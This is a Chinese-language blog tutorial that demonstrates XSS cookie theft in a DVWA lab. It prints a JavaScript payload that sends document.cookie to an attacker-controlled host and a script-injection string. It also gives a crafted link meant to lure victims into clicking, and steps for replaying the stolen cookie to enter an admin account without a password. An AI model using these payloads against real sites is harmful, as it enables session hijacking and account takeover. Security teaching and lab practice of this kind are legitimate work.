如何利用xss获取cookie

Admin 2020-02-21 323人围观 ,发现0个评论 xsscookie

如果web应用在用户输入的地方没有过滤特殊字符,比如<, >, ', ", <script>, javascript 等字符,而且在变量输出的地方没有使用安全的编码函数,比如PHP的htmlentities()和htmlspecialchars()函数,JavaScript中的escapeJavascript函数,这样的web应用极易出现XSS漏洞。XSS攻击的危害主要有盗取用户cookie、跳转到恶意网站等,危害巨大,常年居Owasp top 10前三。


为了理解XSS盗取cookie的原理,进行实验。实验需准备:(1)两台主机,主机A(IP地址为IPa)的用户正在浏览具有XSS的网站,主机B(IP地址为IPb)运行着攻击者的恶意代码。(2)DVWA安全等级设为low,充当具有XSS漏洞的网站。

攻击者先上传一个JavaScript脚本到主机B上,即xss payload,这段脚本命名为evil.js,可以这样写:


var img = document.createElement("img");
img.src = "http://IPb/log?"+escape(document.cookie);
document.body.appendChild(img);


这段代码将document.cookie作为对象传到主机B上。http://IPb/log可以存在,也可以不存在,因为这个请求会在主机B的服务器日志中留下日志。


主机A打开DVWA网站的XSS选项,在what’s your name输入框输入:<script src=http://IPb/evil.js ></script>并提交:

如何利用xss获取cookie Web教程 第1张


此时主机A的cookie值就会发送到主机B上,查看主机B的web日志:

如何利用xss获取cookie Web教程 第2张

发现主机A的cookie值已经存在web日志里了。


虽然是实验,但是如果DVWA有XSS漏洞,而攻击者构造一个http://IP/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2FIPb%2Fevil.js+%3E%3C%2Fscript%3E#,诱骗了用户点击,那么用户的cookie就会发到主机B上,攻击者就可以登录受害者的账户了。

利用cookie登入后台:

打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:

如何利用xss获取cookie Web教程 第3张

5、替换cookie后不用输用户名密码就顺利进入管理员账户了:

如何利用xss获取cookie Web教程 第4张

请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By 蚁人博客